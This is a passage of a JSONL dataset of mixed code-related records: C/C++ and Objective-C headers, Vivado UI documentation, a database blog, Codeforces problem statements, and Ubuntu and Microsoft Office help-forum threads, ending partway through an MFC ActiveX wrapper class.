"cpt_opc_fineweb_code", "language": "code", "token_count": 343, "token_count_with_eod": 344, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What You Missed\nThis page is for students who have missed some or all of an Open Source Comes to Campus event.\nIf you run into any trouble following this guide, feel free to email us or join us on IRC!\nHow to use this page\nThis page presents the materials we cover in the order we typically present them. If you're coming in late to an event, ask a mentor where the group is in the schedule and complete all the activities you've missed, up to the present. If you're planning to miss part of the event, or had to leave early, you can view what you missed here. If you're not sure exactly what you missed, email the organizers for clarification.\nTo set up your computer, go to our Laptop Setup page.\nIntro to Open Source Tools\nCurrently the best way to get a handle on the Open Source Tools lecture is to view the video available on this page. It's approximately 20 minutes long. Alternatively, there's a transcript also available. If you want to do the activities mentioned in the video, you can access the activities mentioned by following the links in the video or following the links in the transcript.\nAt the event, we likely did some version of the Practicing Git activity. That's difficult to reproduce online (though we can try if you ask us on IRC!) so you might try the Git training mission instead.\nPicking a Project\nWe used this handout (warning: auto-downloaded PDF) to work through the process of finding a project to contribute to. Although the handout is phrased for working in pairs, you can just apply the questions to yourself. (Or find a person to partner with! You can do this with a friend or classmate, or someone on the #openhatch IRC.)\nWe spent the last part of the day contributing to open source projects. If you need help identifying good issues to work on, join us on #openhatch and we'll do our best to help you out.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 411, "token_count_with_eod": 412, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//           Copyright Nathaniel Christen 2019.\n//  Distributed under the Boost Software License, Version 1.0.\n//     (See accompanying file LICENSE_1_0.txt or copy at\n//           http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef PHR_SCOPE_SYSTEM__H\n#define PHR_SCOPE_SYSTEM__H\n\n#include \"kans.h\"\n\n\n#include \"accessors.h\"\n\n#include <QtGlobal>\n#include <QQueue>\n\n#include <QMap>\n\n\n#include \"phr-runtime-scope.h\"\n\nKANS_(Phaon)\n\nclass PHR_Runtime_Scope;\n\nclass PHR_Scope_System\n{\n PHR_Runtime_Scope* current_scope_;\n QQueue<PHR_Runtime_Scope*> phr_scope_queue_;\n\npublic:\n\n PHR_Scope_System();\n\n ACCESSORS(PHR_Runtime_Scope* ,current_scope)\n ACCESSORS__RGET(QQueue<PHR_Runtime_Scope*> ,phr_scope_queue)\n\n quint64 find_value_from_current_scope(QString key, PHR_Type** rty = nullptr);\n\n PHR_Type* get_type_for_symbol_name(QString sym);\n};\n\n_KANS(Phaon)\n\n#endif //PHR_SCOPE_SYSTEM__H", "source": "cpt_stack_code", "language": "code", "token_count": 264, "token_count_with_eod": 265, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The local toolbar contains the following commands:\n- Opens the search bar to allow you to locate messages.\n- Collapse All\n- Collapses all messages.\nNote: You can also access this command through the Ctrl+- keyboard shortcut.\n- Expand All\n- Expands all messages.\nNote: You can also access this command through the Ctrl+= keyboard shortcut.\n- Reset Runs\n- Invokes the Reset Runs dialog box to remove previous run results and to set the run status back to Not Started for the selected runs.\n- Reset to Previous Step\n- Resets the selected run to the preceding step. This allows you to step backward through a run, make any needed changes, and then step forward to complete the run.\n- Launch Runs\n- Invokes the Launch Runs dialog box to launch the selected runs.\n- Launch Next Step\n- Launches the next step of the selected run. For implementation runs, the\navailable steps are\nwrite_bitstream. Synthesis only has one step,\n- Create Runs\n- Invokes the Create New Runs wizard to create and configure new synthesis or implementation runs. For more information, see the Running Synthesis section of the Vivado Design Suite User Guide: Synthesis (UG901) or the Vivado Design Suite User Guide: Implementation (UG904) .\n- Show Percentage\n- Shows utilization by percentage rather than by number.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "As you know Microsoft has retrieve the data from Hadoop with by polybase and extended the R language to External language(R and Phython). now Microsoft is wanted to make sure that it has feasibility for all the environment whichever is available in the market. earlier I blog on MongoDB which is happening and favorable to developers for document store and containers concept, CosmosDB is the similar architecture of MongoDB for horizontal data storage , container and Document with the help of DocumentDB.\nMicrosoft has introduced many things recently(SQL 2016/17):\nSQL Server on Linux\nSQL Server – PolyBase (Hadoop Compatibility- data retrieval)\nAzure SQL Server – CosmosDB – MongoDB\nThis indicates that Microsoft do not want to be isolated on Windows platform nor want to restrict to small scale… and Its been proved that Microsoft is doing great on this area… the only thing I believe is the SME for those new concepts which has been introduced unless we do not know how to manage it we may not be expert of doing it so.\nPosted in Azure, Cloud, NoSQL, Others, sql 2016, SQL Server 2017, SQLonLinux\nTagged Azure, Cloud, NoSQL, SQL Server 2017, Whats New\nYes thats true, SQL Server New version will be release this year and call it “SQL Server 2017” where sql can also work on Windows, MacOS and Linux\nSQL Server is running on Linux now with SQLPAL- SQL Platform Abstraction Layer(SQLPAL) -it will work as a virtual Windows server on Linux so I think now Microsoft should able to include things which we are doing on Windows Server.\non that note, Now vNext with CTP 1.4 Microsoft has introduce the SQL Server Agent functionality on vNext.\nYes that is true, now SQL Server is on Linux.\nDownload the public preview\nI am learning it and would love to write more blogs soon.\nIn our earlier blog we discussed an introduction to MongoDB. so, how is MongoDB is into BigData, MongoDB has a concept called sharding with replication, so here using sharding it uses a cluster like configuration and data will be load-balance- equally distribute to multiple shard with the shard key.\nso if we consider the HDFS- hadoop concept here unlike named node we have config server and shard is like data node. but here we have data is distributed to multiple shards but in hadoop system data is replicated to multiple data nodes. and MongoDB maintain the redundancy by using Replication.\nBalancer makes sure that data is distruted equally to all the shards if data is not balanced balancer will run the processes at background and balance the data.\nhere shard key plays a very important role.\nwill write more on it later.\nWe have discussed hadoop and its HDFS management tools for big data system, which works horizontal scaling for data distribution and can be used for data warehousing. can manage big data/heavy data\nThere is another BIG Data system called MongoDB, which is again an open source. this is very developer friendly NoSQL system. as you know about RDBMS it has pre defined record structure and rows size is static. so for developer if they want to think and make some changes in the metadata by adding any columns or make changes in data type of the column will intern has to make the changes into the complete data and its related indexes. MongoDB is document oriented NoSQL.\nMongoDB consider record as a document and you can dynamically add the columns into it and for developer its not necessary to input all the column information into one record/document. this way developer likes this database system.\nMongoDB is written in C, C++, and java scripts. and it works same as developments.\nIn our last blog on Future DBA, we discussed on HADOOP -HDFS system. how as we know HDFS management is quite difficult so with the help of Vendors -Cloudera/Hortonworks/MapR we can integrate the tools/utility in a GUI way and can be manage easily and efficiently.\nThis HDFS data can be retrieved and inserted using HIVE utility which will provide us the access to HDFS data in a SQL like way and we can create a access the data just like sql queries.\nHive requires the Meta store system, can be any RDBMS opensource -MySQL or PostgreSQL or any other RDBMS which will store the metadata on the HIVE and actual data would be stored in HDFS.\nHIVE uses Map-Reduce process for retrieving data from HDFS.\nSo for DBA we can work on HDFS data efficiently and just like our RDBMS.\nIn our last blog on Hadoop Big Data we have discussed about Hadoop and its tools/utility to connect to HDFS. on continue to that hadoop is mostly for big data and the on hadoop is stored in HDFS with named node contains pointers /address of data location and data stores contains the actual data. there are multiple data stores and the data on data store is replicated to multiple data nodes for redundancy purpose. and accessing the data on multiple nodes would be faster.\nwe can store or use one node static to store data as a backup node. Hadoop is used for data warehouse purpose and as its a BIG Data, data stored on it is in bulk /huge and used for read purpose. so if we use hive/impala or any other tool HDFS data can be mostly be used for READ-ONLY data warehouse and used to generate the report and get the data once data is inserted into HDFS. There are mappers to read the data on data nodes.\n*HDFS /BIG DATA is effective on data reads and not work best for UPDATES.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "View Full Version : [ubuntu] how do i install a patch to module\nNovember 16th, 2008, 01:37 PM\nhey all i have found some patchs to apply to gspca to hopefully get my webcam working can anyone tell me how to do it correctly please. thanks in advance\nNovember 16th, 2008, 02:03 PM\nI don't have gspca, but after watching this video (http://www.linuxjournal.com/video/get-your-webcam-working-gspca)\nI think I understand the general steps:\nInstall the build-essential package. It is in the official repositories. This package will draw in tools you'll need to compile other programs.\nDownload the gspca source code. The video shows how to do this. You might want to google around to see if there is a newer version however.\nPut the patch file either in the directory above the gspca source or at the top level of the source. You need to look inside the patch file to determine this. Then read\nto determine the right command. If you are unsure, post the patch file, or a url to the patch file.\nAfter you've successful run the patch command,\nyou should be able to follow the rest of the instructions as shown in the video.\nNote that other Linux distros use \"su\" to gain a root shell. Ubuntu uses \"sudo -i\" to gain a root shell.\nNovember 16th, 2008, 02:59 PM\nok so that shows howto instal gspca but the patching part for it is ruybbish\ni have been trying to use the patch -p0 command but it isnt working\nPowered by vBulletin® Version 4.2.2 Copyright © 2015 vBulletin Solutions, Inc. All rights reserved.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 404, "token_count_with_eod": 405, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef N_E_EVAL_H\n#define N_E_EVAL_H\n\n#include \"../common/errors.h\"\n\nvoid\nn_init_eval(NError* error);\n\n#endif /* N_E_EVAL_H */", "source": "cpt_stack_code", "language": "code", "token_count": 37, "token_count_with_eod": 38, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Iahub likes chess very much. He even invented a new chess piece named Coder. A Coder can move (and attack) one square horizontally or vertically. More precisely, if the Coder is located at position (x, y), he can move to (or attack) positions (x + 1, y), (x–1, y), (x, y + 1) and (x, y–1).\n\nIahub wants to know how many Coders can be placed on an n × n chessboard, so that no Coder attacks any other Coder.", "source": "cpt_codeforces", "language": "en", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hello, how do i remove the likes and views showing on my post grid blog?\nWelcome to our forum.\nNot sure which Post Grid plugin are you using? we don't have like and views on our pos grid plugin. can you please send me your post grid page url?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 58, "token_count_with_eod": 59, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Linked cells in Multiple Workbooks\nI am tracking dates and have linked cells from another workbook so as t\nnot have to duplicate the data entry of dates. The dates are linked t\nprojects that are listed in rows and there is information in m\nworkbook that is additional information within the row. So if someon\nchanges the order of the other workbook, the information that is in m\nworkbook does not get sorted with the order. Is there a way to link m\ncells to the linked cells?\nProject ID Start Date Milestone\nEndDate Person Assigned\n1234 (linked) 11/15/04 11/20/04(lin...How can I bind the results of Web service to a ListView?\nI'm new to ASP.NET so I apologize if this is a basic question.\nI have a Web application. This web application has a ListView on it.\nFor this web app I make calls to a web service which returns data from a\ndatabase. I return the data using the following format:\npublic List<Record> Search()\nList<Record> list = new List<Record>();\n/* Populate list with data from a db */\npublic class Record\npublic String name;\npublic String address;\npublic int ageInYears;\nNow I would like from the Web Appl...How can I search for a ? in Publisher?\nI did a Search & Replace and somehow ? marks were placed throughout my\n32-page document. I want to be sure I found them all, but when I search for\n?, it stops at every letter.\nAppreciate some advice. Thanks.\nIt doesn't work for me either. It doesn't work in 2010 as well. You can\ncheckmark *Match whole words only* Publisher will look between each word rather\nthan each letter. Not much help when you are dealing with 32 pages.\n\"guymaine\" <email@example.com> wrote in message\nnews:B89D6FF6-B7...Importing a .cdr file in Publisher 2007\nHi there, someone has sent me a .cdr file, is there a way to import it into\nYou can import a .cdr file in 2007. Not sure about the version however. I cannot\nimport CorelDraw 12 images into Publisher. Your sender can convert the .cdr in\nCorel to a .wmf or .emf or any other format.\nTry importing, Insert, picture, from file.\nIf your sender cannot convert the file, send it to me and I will convert it for\nmary-sauer at columbus.rr.com\nMary Sauer MSFT MVP\n\"Ulli\" <Ul...Formatting four pages onto one 12x18 sheet\nI'm trying to figure out how to format a 12 x 18 sheet with four individual\n5.5 x 8.5 pages on it. Any ideas? The closest I can get is under page\nsetup...selecting \"postcards\" and that will give me three pages per sheet,\nbut I need four.\nAny ideas or thoughts are greatly appreciated.\nIf your printer can be custom setup to 12 x 18 then you can divide it into four\nparts. Are you sure you aren't trying to setup a 11 x 17 landscaped sheet? In\nany event, setup your printer first.\nFile, Page Setup, Advanced on the right, type 18 width, 12 height or 17 width,\n11 ...Problem using Microsoft Web Browser control\nI am trying to access the Custom properties of a Web Browser ActiveX control\non a form and I keep getting a message telling me that \"The Operation on the\nMicrosoft Web Browser object failed. The OLE server may not be registered.\nTo register the OLE server, reinstall it.\"\nI searched TechNet and MSDN and could not resolve this. I reinstalled Access\n2003 (I have 2003 and 2007 installed on my workstation, XP Pro) and still no\nHas anyone else seen this and if so, can you tell me how to resolve this?\nDoes anyone know the name of the file the message...How to open workbook without hardcoding path\nCould anyone tell me how to open a workbook from another workbook, where\nboth files are in the same folder, without hardcoding the path. I have tried\ncode like this without success.\nWorkbooks.open (path & \"\\somefile.xls\")\nThanks in advance\nExcel automatically looks in the current folder, so :-\n~~ Message posted from http://www.ExcelTip.com\n~~View and post usenet messages directly from http://www.ExcelForum.com\n...Converting Publisher 2002 catalog to PDF\nI created a catalog using Publisher 2002. Now I need to\nconvert it to PDF. The problem is that when I convert if,\nthe pages do not appear in consecutive order (i.e., the\nfirst page of the catalog appears with the last page).\nDoes anyone have a solution for this problem?\nAre you producing the catalog as a saddle-stitched book? What you are\ngetting is printer's/press spreads, which, unless it is going on a large\nformat press, is probably fine for your printer. If you are printing\nseparate sheets to be bound by a different method, or if it is going on a\nlarge format press, and the printe...click on page form tab to filter subform\nI have page tab with following names: Flat Rate, Global Rate, MSRP Rate. I\nwould like to have subform only show the rates for each page tab. How do I\ngo about doing this. I am new to VBA and from reading all the threads, I\ncan't seem to find the one that fits my exact need. Please explain\nstep-by-step since I am new. Let me know if I need to provide more details.\nPresumably you have a field in the RecordSource of your subform that\ncontains one of the three values (Flat Rate, Global Rate, MSRP Rate) or some\nother text or code that corresponds to these values....One link breaks every time I open a workbook...\nI have 3 workbooks tied together with links. One is a source only, the other\ntwo push and pull data.\nOne of the sources, Payroll Master, on opening updates all links fine to the\nsource only workbook but not\nto the third workbook (which is in the parent directory). Every time I open\nit it prompts me to show it where the Payroll Entry is. Doesn't matter if I\nhit cancel and\ndo Edit Links, I can change it there, but will still lose it upon closing\n(the link appears in the box and looks ok, just won't update...)\nTry going Edit->Links. Break the link and re-establish it? That m...How do I look at two worksheets in one Excel workbook at same time\nI know how to arrange windows to look at multiple workbooks. But I want to\nhave two worksheets displayed at the same time from the same workbook. Is\nthere a way to do that?\nWindow - New Window\nthis will create a second view of active workbook. Then you can do Window -\nArrange, active workbook only.\n\"PeoriaJean\" <firstname.lastname@example.org> wrote in message\n>I know how to arrange windows to look at multiple workbooks. But I want to\n> have two worksheets di...Signature page not printed for Credit card transaction\nI have set up new POS system and the POS system does not print\nsignature page for credit card use.\nI check 'require signarue' for the receipt from tender type window and\nprint Z-out to apply it but it still does not printing out the\nPlease be advised.\nthank you for your help!\nThis is a multi-part message in MIME format.\nMake sure the receipt is set to print it. Manager | Database | Register =\nLis...Biggest worldwide free Entertainment multi language Video web , Travel, Sports, Health , Racing cars , Massages techniques, Games , Fashions, Jokes , Top models , Free online IT learning , 5000 l\nI'd like to introduce you 2 biggest free Video multi language\nentertainment websites :\n...Publisher font issue\nI have an issue with Publisher 2000 and the calendar font\nsize. The defaulted font size is 18. In each calendar\ndate box, when I enter information is a smaller font (8\nfont), and save; close the program and then reopen; the 8\nfont text defaults to 18 font. I need the smaller font\nfor information that needs to go into the calendar. I\nhave tried a few tings through the help feature but\nnothing I do seems to work. Can someone help me with this\nor tell me how to fix this problem?\nTry this, put the calendar on the background (master page) Ctrl + m , use text boxes\nfor your i...how to use a saved master page\nI have created a new master page and saved it as a .pub file. The question\nis when opening a new document, how do I apply the saved master file?\nOpen the master file, copy, paste to your new publication.\nMary Sauer MSFT MVP\n\"Colin\" <Colin @discussions.microsoft.com> wrote in message\n>I have created a new master page and saved it as a .pub file. The question\n> is when opening a new document, how do I apply the saved mas...Do I need Publisher installed to read/edit articles in an e-mail?\nI will be receiving e-mails with attachments containing Publisher2002 created\narticles. Do I need to have Publisher 2002 or later editions in order to\nread and edit these e-mail articles?\nOn Mon, 7 Nov 2005 22:20:03 +0000, quilter512 wrote\n(in article <email@example.com>):\n> I will be receiving e-mails with attachments containing Publisher2002 created\n> articles. Do I need to have Publisher 2002 or later editions in order to\n> read and edit these e-mail articles?\nYou can answer your own question by STFW. You not heard of Google Grou...Workbook there but not visible! Help!\nI was working on some VBA code for an excel application I\nam writing. I switched between the VBE and the\nspreadsheet and all of a sudden my workbook is no longer\nvisible! In the VBE project explorer window it shows my\nproject and my code but in the excel window...no\nRan a test procedure calling IsAddin to see if somehow I\naccidentally clicked a button/box telling Excel to make\nthis file an addin but it returned false.\nI did close the file and re-open it.\nMaybe it's just off the visible screen:\nWindow|Arrange|tiled (and resize manually)\nor maybe y...Conditional Formatting for Image box on Continuous Forms\nThis problem is driving me crazy. I am a car enthusiast and love\ntaking photos of classic cars. I have a table which describes the\nmake and model in a series of fields. There are several fields that\ncontain a reference to photos of those cars. Ie: the fields are\ncalled \"Front\" \"Side\" \"Rear\" \"Angle\". My form has four image boxes to\ndisplay the images stored in these fields. But when I open the form\nall the records show the images of the first car only.\nI asked about this a few days ago and was advised to check out\nhttp://www.lebans.co...Loading Publisher 2003 on to Vista Home Premium\nI have recently bought a new computer with Vista Home Premium, but my\nPublisher 2003 will not load as it states there is no Windows XP or 2000\nrunning. Quite right, but do I really have to buy the 2007 version? As a UK\ncharity we have bought the Student 2007 office version - is there a student\nversion of Publisher 2007?\nMark Ward Senior User\nTry installing in safe mode.\nDo you get an error other than there is no XP or 2000.\nPublisher 2003 should install on Vista.\nList of system requirements for Microsoft Office 2003\nMary Sauer MSFT ...page numbers in Word 2007\nI have a Microsoft Word 2007 document which has a title and\ntable of contents on the first page and the various chapters on\nthe following pages. I have used an automatic TOC and then\nclicked on the Insert tab and then Page Number -> Bottom of\nPage to insert page numbers.\nMy problem is that I don't want the first page to be numbered\nso that the second page starts with the number 1.\nI have tried clicking Page Number -> Format Page Numbers...\nto set the first page number at zero but then when I delete the\nzero all page numbers are deleted by Word 2007 just as th...Help! New to Publisher\nWhat is the A...at the bottom of a page inside a small\nbox? I am typing a newsletter. Shouldn't one page flow\nto the next like in Microsoft Office? If it is text\noverflow, I cannot retrieve. What am I doing wrong?\nThat indicates that there is more text inside that area that cannot be seen.\nIf you stretch that text box down, you'll see the rest of your text. To make\nit flow from one box to another, you need to set it up for that. (I will\nadmit that I break mine manually because I've never taken the time to learn\nhow to do it correctly.)\nThe problem with ...How do I publish to the web a 3 page web pubblication from Publis.\nI created a 3 page web publication in Publisher 2003, but when I 'publish it\nto the web', only the first page is converted. What do I need to do?\nReview the FAQ - http://www.publishermvps.com/Default.aspx?tabid=30\nDavid Bartosik - MS MVP\n\"Bazbo\" <firstname.lastname@example.org> wrote in message\n> I created a 3 page web publication in Publisher 2003, but when I 'publish\n> to the web', only the first page is converted. What do I need to do?\n...publisher screen pulsing\nmy publisher file won't stop flashing or pulsing and its driving me crazy!\nis it because my files is too large?\nWouldn't think large files would cause pulsating. How current is your video driver?\nDo you have high contrast enabled in the accessibility options?\nMary Sauer MSFT MVP\n\"Bridget\" <email@example.com> wrote in message\n> my publisher file won't stop flashing or pulsing and its driving me crazy!...blank page prints after group (sometimes)\nI have report of students with the class_id defined as a group. \"Force New\nPage\" is defined \"Before Section\".\nWhether I have a page and a group header defined (they can be the same anyway)\nor just a page header defined, I am getting the same problem:\n27 students can fit onto a page. However, if there is a class of 25 students,\nthe next page is blank except for the header. (I have not seen a class of\n27 students so I have not tested that yet).\nI can't seem to find a way out of it. Where I am I going wrong?\nMessage posted via AccessMonster.com\nhttp://www.acce...Batch conversion between publisher versions.\nMy parents downloaded the trial of office 2007, unknown to me, and created\nlots of documents that are quite important. The trial has expired, is there a\nway to batch convert these to publisher 2000 format, as that is what they\nwere using before. There is 100+documents.\nNo, there is no batch conversion. Your only recourse would be to buy Publisher\n2002, 2003 or 2007. Or find some kind soul to convert the files for you, one at\na time. This conversion isn't necessary with newer versions of Publisher because\nthe newer versions will open 2000 files.\nMary Sauer MSFT MVP", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Denis was very sad after Nastya rejected him. So he decided to walk through the gateways to have some fun. And luck smiled at him! When he entered the first courtyard, he met a strange man who was selling something.\n\nDenis bought a mysterious item and it was... Random permutation generator! Denis could not believed his luck.\n\nWhen he arrived home, he began to study how his generator works and learned the algorithm. The process of generating a permutation consists of $$$n$$$ steps. At the $$$i$$$-th step, a place is chosen for the number $$$i$$$ $$$(1 \\leq i \\leq n)$$$. The position for the number $$$i$$$ is defined as follows:\n\n- For all $$$j$$$ from $$$1$$$ to $$$n$$$, we calculate $$$r_j$$$  — the minimum index such that $$$j \\leq r_j \\leq n$$$, and the position $$$r_j$$$ is not yet occupied in the permutation. If there are no such positions, then we assume that the value of $$$r_j$$$ is not defined.\n- For all $$$t$$$ from $$$1$$$ to $$$n$$$, we calculate $$$count_t$$$  — the number of positions $$$1 \\leq j \\leq n$$$ such that $$$r_j$$$ is defined and $$$r_j = t$$$.\n- Consider the positions that are still not occupied by permutation and among those we consider the positions for which the value in the $$$count$$$ array is maximum.\n- The generator selects one of these positions for the number $$$i$$$. The generator can choose any position.\n\nLet's have a look at the operation of the algorithm in the following example:\n\nLet $$$n = 5$$$ and the algorithm has already arranged the numbers $$$1, 2, 3$$$ in the permutation. Consider how the generator will choose a position for the number $$$4$$$:\n\n- The values of $$$r$$$ will be $$$r = [3, 3, 3, 4, \\times]$$$, where $$$\\times$$$ means an indefinite value.\n- Then the $$$count$$$ values will be $$$count = [0, 0, 3, 1, 0]$$$.\n- There are only two unoccupied positions in the permutation: $$$3$$$ and $$$4$$$. The value in the $$$count$$$ array for position $$$3$$$ is $$$3$$$, for position $$$4$$$ it is $$$1$$$.\n- The maximum value is reached only for position $$$3$$$, so the algorithm will uniquely select this position for number $$$4$$$.\n\nSatisfied with his purchase, Denis went home. For several days without a break, he generated permutations. He believes that he can come up with random permutations no worse than a generator. After that, he wrote out the first permutation that came to mind $$$p_1, p_2, \\ldots, p_n$$$ and decided to find out if it could be obtained as a result of the generator.\n\nUnfortunately, this task was too difficult for him, and he asked you for help. It is necessary to define whether the written permutation could be obtained using the described algorithm if the generator always selects the position Denis needs.", "source": "cpt_codeforces", "language": "en", "token_count": 674, "token_count_with_eod": 675, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  SwiftyOnceTV.h\n//  SwiftyOnceTV\n//\n//  Created by Steve Jun on 10/29/18.\n//  Copyright © 2018 ktustanowski. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n//! Project version number for SwiftyOnceTV.\nFOUNDATION_EXPORT double SwiftyOnceTVVersionNumber;\n\n//! Project version string for SwiftyOnceTV.\nFOUNDATION_EXPORT const unsigned char SwiftyOnceTVVersionString[];\n\n// In this header, you should import all the public headers of your framework using statements like #import <SwiftyOnceTV/PublicHeader.h>", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#if !defined(AFX_NTGRAPH_H__CF55B0EC_CF41_453C_BFEB_4740927AE8B3__INCLUDED_)\n#define AFX_NTGRAPH_H__CF55B0EC_CF41_453C_BFEB_4740927AE8B3__INCLUDED_\n\n#if _MSC_VER > 1000\n#pragma once\n#endif // _MSC_VER > 1000\n// Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++\n\n// NOTE: Do not modify the contents of this file.  If this class is regenerated by\n//  Microsoft Visual C++, your modifications will be overwritten.\n\n\n// Dispatch interfaces referenced by this interface\nclass COleFont;\nclass CPicture;\n\n/////////////////////////////////////////////////////////////////////////////\n// CNTGraph wrapper class\n\nclass CNTGraph : public CWnd\n{\nprotected:\n\tDECLARE_DYNCREATE(CNTGraph)\npublic:\n\tCLSID const& GetClsid()\n\t{\n\t\tstatic CLSID const clsid\n\t\t\t= { 0xc9fe01c2, 0x2746, 0x479b, { 0x96, 0xab, 0xe0, 0xbe, 0x99, 0x31, 0xb0, 0x18 } };\n\t\treturn clsid;\n\t}\n\tvirtual BOOL Create(LPCTSTR lpszClassName,\n\t\tLPCTSTR lpszWindowName, DWORD dwStyle,\n\t\tconst RECT& rect,\n\t\tCWnd* pParentWnd, UINT nID,\n\t\tCCreateContext* pContext = NULL)\n\t{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID); }\n\n    BOOL Create(LPCTSTR lpszWindowName, DWORD dwStyle,\n\t\tconst RECT& rect, CWnd* pParentWnd, UINT nID,\n\t\tCFile* pPersist = NULL, BOOL bStorage = FALSE,\n\t\tBSTR bstrLicKey = NULL)\n\t{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID,\n\t\tpPersist, bStorage, bstrLicKey); }\n\n// Attributes\npublic:\n\tshort GetAppearance();\n\tvoid SetAppearance(short);\n\tCString GetCaption();\n\tvoid SetCaption(LPCTSTR);\n\tBOOL GetEnabled();\n\tvoid SetEnabled(BOOL);\n\tunsigned long GetAxisColor();\n\tvoid SetAxisColor(unsigned long);\n\tunsigned long GetGridColor();\n\tvoid SetGridColor(unsigned long);\n\tunsigned long GetLabelColor();\n\tvoid SetLabelColor(unsigned long);\n\tunsigned long GetCursorColor();\n\tvoid SetCursorColor(unsigned long);\n\tCOleFont GetLabelFont();\n\tvoid SetLabelFont(LPDISPATCH);\n\tCOleFont GetTickFont();\n\tvoid SetTickFont(LPDISPATCH);\n\tCOleFont GetTitleFont();\n\tvoid SetTitleFont(LPDISPATCH);\n\tCOleFont GetIdentFont();\n\tvoid SetIdentFont(LPDISPATCH);\n\tshort GetXGridNumber();\n\tvoid SetXGridNumber(short);\n\tshort GetYGridNumber();\n\tvoid SetYGridNumber(short);\n\tBOOL GetShowGrid();\n\tvoid SetShowGrid(BOOL);\n\tCString GetXLabel();\n\tvoid SetXLabel(LPCTSTR);\n\tCString GetYLabel();\n\tvoid SetYLabel(LPCTSTR);\n\tunsigned long GetElementLineColor();\n\tvoid SetElementLineColor(unsigned long);\n\tunsigned long GetElementPointColor();\n\tvoid SetElementPointColor(unsigned long);\n\tlong GetElementLinetype();\n\tvoid SetElementLinetype(long);\n\tlong GetElementWidth();\n\tvoid SetElementWidth(long);\n\tlong GetElementPointSymbol();\n\tvoid SetElementPointSymbol(long);\n\tBOOL GetElementSolidPoint();\n\tvoid SetElementSolidPoint(BOOL);\n\tBOOL GetElementShow();\n\tvoid SetElementShow(BOOL);\n\tlong GetTrackMode();\n\tvoid SetTrackMode(long);\n\tCString GetElementName();\n\tvoid SetElementName(LPCTSTR);\n\tBOOL GetElementIdentify();\n\tvoid SetElementIdentify(BOOL);\n\tBOOL GetXLog();\n\tvoid SetXLog(BOOL);\n\tBOOL GetYLog();\n\tvoid SetYLog(BOOL);\n\tCPicture GetControlFramePicture();\n\tvoid SetControlFramePicture(LPDISPATCH);\n\tCPicture GetPlotAreaPicture();\n\tvoid SetPlotAreaPicture(LPDISPATCH);\n\tunsigned long GetControlFrameColor();\n\tvoid SetControlFrameColor(unsigned long);\n\tunsigned long GetPlotAreaColor();\n\tvoid SetPlotAreaColor(unsigned long);\n\tlong GetFrameStyle();\n\tvoid SetFrameStyle(long);\n\tCString GetAnnoLabelCaption();\n\tvoid SetAnnoLabelCaption(LPCTSTR);\n\tdouble GetAnnoLabelX();\n\tvoid SetAnnoLabelX(double);\n\tdouble GetAnnoLabelY();\n\tvoid SetAnnoLabelY(double);\n\tunsigned long GetAnnoLabelColor();\n\tvoid SetAnnoLabelColor(unsigned long);\n\tBOOL GetAnnoLabelHorizontal();\n\tvoid SetAnnoLabelHorizontal(BOOL);\n\tshort GetAnnotation();\n\tvoid SetAnnotation(short);\n\tBOOL GetAnnoVisible();\n\tvoid SetAnnoVisible(BOOL);\n\tshort GetAnnoCount();\n\tvoid SetAnnoCount(short);\n\tshort GetElement();\n\tvoid SetElement(short);\n\tshort GetElementCount();\n\tvoid SetElementCount(short);\n\tunsigned long GetAnnoLabelBkColor();\n\tvoid SetAnnoLabelBkColor(unsigned long);\n\tshort GetCursorCount();\n\tvoid SetCursorCount(short);\n\tshort GetCursor();\n\tvoid SetCursor(short);\n\tdouble GetCursorX();\n\tvoid SetCursorX(double);\n\tdouble GetCursorY();\n\tvoid SetCursorY(double);\n\tshort GetCursorStyle();\n\tvoid SetCursorStyle(short);\n\tBOOL GetCursorVisible();\n\tvoid SetCursorVisible(BOOL);\n\tshort GetCursorMode();\n\tvoid SetCursorMode(short);\n\tCString GetFormatAxisBottom();\n\tvoid SetFormatAxisBottom(LPCTSTR);\n\tCString GetFormatAxisLeft();\n\tvoid SetFormatAxisLeft(LPCTSTR);\n\tBOOL GetYTime();\n\tvoid SetYTime(BOOL);\n\tBOOL GetXTime();\n\tvoid SetXTime(BOOL);\n\tdouble GetMinXRange();\n\tvoid SetMinXRange(double);\n\tdouble GetMaxXRange();\n\tvoid SetMaxXRange(double);\n\tdouble GetMinYRange();\n\tvoid SetMinYRange(double);\n\tdouble GetMaxYRange();\n\tvoid SetMaxYRange(double);\n\n// Operations\npublic:\n\tvoid SetRange(double xmin, double xmax, double ymin, double ymax);\n\tvoid AutoRange();\n\tvoid CopyToClipboard();\n\tvoid PrintGraph();\n\tvoid AddElement();\n\tvoid DeleteElement(short ElementID);\n\tvoid ClearGraph();\n\tdouble GetElementXValue(long index, short ElementID);\n\tvoid SetElementXValue(long index, short ElementID, double newValue);\n\tdouble GetElementYValue(long index, short ElementID);\n\tvoid SetElementYValue(long index, short ElementID, double newValue);\n\tvoid PlotXY(double X, double Y, short ElementID);\n\tvoid PlotY(double Y, short ElementID);\n\tvoid ShowProperties();\n\tvoid SaveAs(LPCTSTR szFilename);\n\tvoid AddAnnotation();\n\tvoid DeleteAnnotation(short 